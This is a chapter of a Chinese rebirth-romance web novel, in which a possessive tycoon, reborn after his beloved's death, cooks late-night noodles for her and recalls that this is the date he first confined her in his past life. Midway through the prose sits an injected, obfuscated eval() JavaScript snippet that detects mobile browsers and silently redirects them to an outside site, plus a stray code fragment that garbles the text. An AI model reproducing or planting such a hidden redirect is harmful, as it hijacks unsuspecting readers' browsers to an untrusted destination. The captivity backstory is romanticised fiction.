「程司屿!我是个有自己思想的活生生的人,不是你的玩物!你把我困在这里根本不是因为爱我,你不过是为了满足自己的私欲,你就是个彻头彻尾的坏蛋,你压根不懂得如何去爱人!」
「你闭嘴!你不配叫茶茶的名字!是你害死了她!」
「程总,果茶小姐已经离世两个月了,请再多大师也已无力回天,放过她,也放过你自己吧!」
烟汀海湿咸的海风拍打在脸上,一切过往如走马观花般闪回。
茶茶不在了,这个世界彻底找不到属于她的气息了,那他为何还活着?
他才是该去死的那个人。
夜幕正在无限逼近海平面。
没有丝毫留念,他从游艇甲板纵身跃下……
“嘭!”
-
程司屿猝然惊醒。
额上的细汗、抽疼的心脏、冰冷的躯体,似乎都在昭示他仍存在于世。
是梦。
这种梦,在茶茶离世后,程司屿几乎每日每夜都会梦到。
他一时恍惚,以为自己还困在那段生不如死的时光里。可他不是跳海了吗?为何梦魇还没有结束?
他被救了?
门外一阵窸窣异响。
茶茶走后,整个庄园的佣人都被他遣散了,他不愿旁人在这里搅浑茶茶留下的仅剩不多的气息。
那现在,门外是谁?
程司屿沉着脸,推开门。
站在二层的回廊边俯视厅央,梦里出现过无数次的身影,就这样明晃晃地立于清泠的月光之中。
*
好饿好饿好饿……
午夜梦回,果茶也没料到自己竟然是被饿醒的。
她正蹑手蹑脚地在冰箱里觅食。
一阵疾风掠过,紧接着她被一双结实的手臂禁锢地动弹不得,随着手臂的收紧,果茶感觉自己都快呼吸不上来了。
不是吧,她只不过是偷吃了一块小蛋糕,不至于被恶灵绞杀吧!
下一瞬,这个“恶灵”将头埋进她的肩窝,喃喃道:“茶茶……茶茶……”
他的声音听起来是那样阴郁、悲痛,甚至绝望,竟惹得她的心也不自觉揪起。
隐隐感觉肩窝一凉,有某种湿润的液体,顺着锁骨滑进衣内。
果茶还没反应过来,只见那“恶灵”抬起头,猩红的深邃眼眸中莫名透出一丝痴狂,“茶茶,你终于回来了……”
是程司屿。果茶眨了眨眼,晚上看的那部借尸还魂的鬼片闪现脑海。
她倒吸一口凉气,一时怀疑起自己是人是鬼。
“不、不出意外的话,我我一直都在这里……”果茶咽了咽口水,小心翼翼地说,“我是……死很久了吗?”
女孩稚嫩的脸庞在月光的照拂下,透出健康的粉白色。程司屿愣怔半秒,很快就从混沌中清醒过来。
他已经重生了。这时候的茶茶还是个懵懂快活的小姑娘,而非缠绵病榻骨瘦如柴、浑身插满了各种药管的一心求死之人。
程司屿没有哪一刻比此时更加清楚地意识到,茶茶能健康、快乐地活着,才是他毕生所求。
他甚至可以不再执着于将她捆在自己身边,不再祈求能获得她的爱。
他只要她活着。
“啊?!我真的死……”
“死”字还没说完,程司屿抬手覆上茶茶的唇瓣,全然忘了一个绅士该保持的礼节和风度。
“别乱说。”
程司屿眼睫微微一颤,生怕她那没心没肺的嘴里,再吐出什么能让自己如蹈水火的话来。
心惊肉跳过后,感官回笼。
觉察到掌心似有一种黏糊糊的触感,程司屿摊开掌心,还没看清掌中那抹乳白色是什么。
一个柔软的、温热的物体贴上他的掌心,再看时,掌心已空无一物,只留下一小块晶莹的水渍。
果茶惊慌失措地捂住嘴,脸颊瞬间涨得通红。救命!她在做什么!她怎么能为了掩盖自己偷吃蛋糕的罪行,而试图舔掉他手中残留的奶油……她疯了吗??
看到小姑娘羞赧而忏悔的表情,程司屿后知后觉反应过来,自己错过了多么重要的瞬间。
湿热的舌尖触碰掌心时的柔软触感,仍久久未散,手心也开始泛起痒意,程司屿下意识虚握起拳,想要留住这种感觉。
落在果茶眼里却是另一种意思:硬了,拳头硬了!
吓得她连忙跑到茶几旁抽出几张纸巾,递给程司屿,“对、对不起,司屿哥哥,你能不能当我犯病了……”我都犯病了,你就让让我吧。
程司屿默默用另一只手接过纸巾,把手藏在身后,将纸巾揉成一团后扔进脚边的垃圾桶。
打开餐厅的吊灯,他才看清茶茶鼻尖残留的偷吃证据——奶油。
再将视线移到吧台上的蛋糕盒,程司屿了然。
“饿了?”
果茶轻点了下脑袋,又立马摇摇头,装作一脸困倦的样子,呐呐道:“困了,我要去睡觉了。”
真可爱。程司屿心底的沉闷不由驱散许多,“这样啊,是我有些饿了,本想着让茶茶尝尝我的手艺,看来……”
话没说完,一只柔软的小手试探性地搭在自己臂上,顺着这只手抬眸看过去,小姑娘抿着嘴,有些不好意思地说——
“我记错了……我确实饿了。”
-
锅里翻滚的面条发出“咕噜咕噜”的沸腾,如同天然的白噪音,听得果茶昏昏欲睡。
程司屿不让她进厨房,可他一人下厨,她又过意不去,便只能坐在餐桌边撑着手肘,注视起他忙碌却有条不紊的背影。
看着看着,果茶心中升起一种异样的情感,心脏那块闷闷的、涨涨的,既温暖又酸涩。
她还没能理清这种情愫叫什么,就趴在桌上睡着了。
程司屿做好茶茶指定的打卤面时,她睡得正香,唇瓣无意识地微启,露出可爱的贝齿,再凑得近些,还能听到她绵长的呼吸声。
程司屿垂眸看着熟睡的茶茶,两人太近了,他只消微微低头,就能触碰到那抹柔软。
就在他几乎要经不住诱惑之际,一道声音如当头一棒,将他从意乱情迷中敲醒。
「爱不是占有,甚至也不是一味地付出,而是给予对方充分的尊重,这是茶茶说的,你以后一定记着啊……」
尊重她,不做只图自己愉悦的事情,不做违背她意愿的事情。
程司屿无意识捻了捻指腹,眼底恢复一片清明。
正犹豫是否叫醒她,没想到闻到香味的茶茶在睡梦中耸了耸鼻子,自己倒先醒了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208055|151040||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看着面前热气腾腾的打卤面,再看看帅到有些过于扎眼的程司屿,果茶的眼前一亮又一亮,睡意瞬间全无。
“秀色可餐……”
程司屿只听到茶茶梦呓般的呢喃,没听清具体说了什么,将餐具摆好在她面前后,他偏头问:“茶茶刚才……在说什么?”
老实说,程司屿心里是有些惴惴不安的。
他不知道该如何才能博得茶茶青睐,于是将自己的特助张文勋发展成了“情感军事”。
张特助说,第一步是营造霸总若即若离、清心寡欲的高冷形象,不要时时刻刻在她面前晃悠,要通过适当冷却和拉扯、引鱼儿上钩。
这一步走得不错,至少他前几日一直没在茶茶跟前露面,换来了她的那一句“回家吗”,虽然可能和自己想象中有些偏差,但还是颇见成效。
第二步是为爱洗手作羹汤,要想拿下小女孩的心,就得先拿下她的胃,毕竟没有人能拒绝温柔男妈妈的美食投喂。
这一步,正在测试中。
程司屿的厨艺倒是不错,前世掌控欲爆棚的他,对茶茶的衣食住行事无巨细、全由他一手经办,自然也就学会下厨料理。
他本想着今晚就秀一手大的,可茶茶却说只想吃打卤面。
打卤面……
他前世也为茶茶做过。但当时她只吃了一口,就面色很差地停了筷子,想来是他做得并不符合茶茶的口味。
思及此,程司屿提着心柔声问:“手上…食材有限,若是做的不好吃,待下次我再……”
“救命!好香!!!”
果茶尝了一口就满足地眯起眼睛。
真没想到程司屿这般日理万机、看起来不食人间烟火的“霸总”,竟会亲自下厨,更没想到他的手艺这般好。
“果果妈妈以前就经常给我做打卤面,我可爱吃了。”果茶眼眸亮晶晶地盯着程司屿,由衷地说,“司屿哥哥你做的这个味道,和她做的好像!”
是吗。
明明和前世是一样的做法,怎就得到截然相反的反馈。
程司屿眼底的笑意渐淡,他很快就明白,原来当时茶茶讨厌的不是那碗面,而是做出那碗面的他罢了。
但他下一瞬就又想通了。
茶茶是个爱憎分明的女孩,以前她讨厌自己,便讨厌他所做的一切。可现在她喜欢他做的面,说不定也会慢慢喜欢上他这个人。
就在他弯弯绕绕的这一会儿工夫,茶茶的面碗已经见底,她眼巴巴地还想再添半碗。
程司屿被她这幅嗷嗷待哺的模样逗笑了,但已是深夜,宵夜本就对身体不好,吃太多的话更容易积食。
担心茶茶待会儿睡觉会胃疼,程司屿便婉拒了她的“添饭请求”。
一来二去已经接近凌晨三点。
果茶打了个哈欠,嘀咕道:“明天……啊不对已经是今天了,今天下午还得和周岚姐她们去拍景区的宣传片。我得快点去睡觉了……”
程司屿点开手机屏幕,八月二十日。
八月二十日?!
程司屿指尖一顿,萦绕一日的不安与惶恐终于在此刻找到了答案。
他想起为何今晚会再次梦到那个扭曲的梦魇了。
八月二十日,是他前世软禁茶茶的第一天。